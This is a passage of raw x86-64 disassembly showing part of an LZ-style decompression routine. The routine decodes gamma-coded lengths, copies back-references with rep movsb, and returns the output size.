inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f1713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f17123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f1707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f17168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f17175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f1715d
cmp eax, 0x7d00
jae 0x140f1719b
cmp eax, 0x500
jb 0x140f17196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f1707e
cmp eax, 0x7f
ja 0x140f1719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f1707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f171d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f1707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20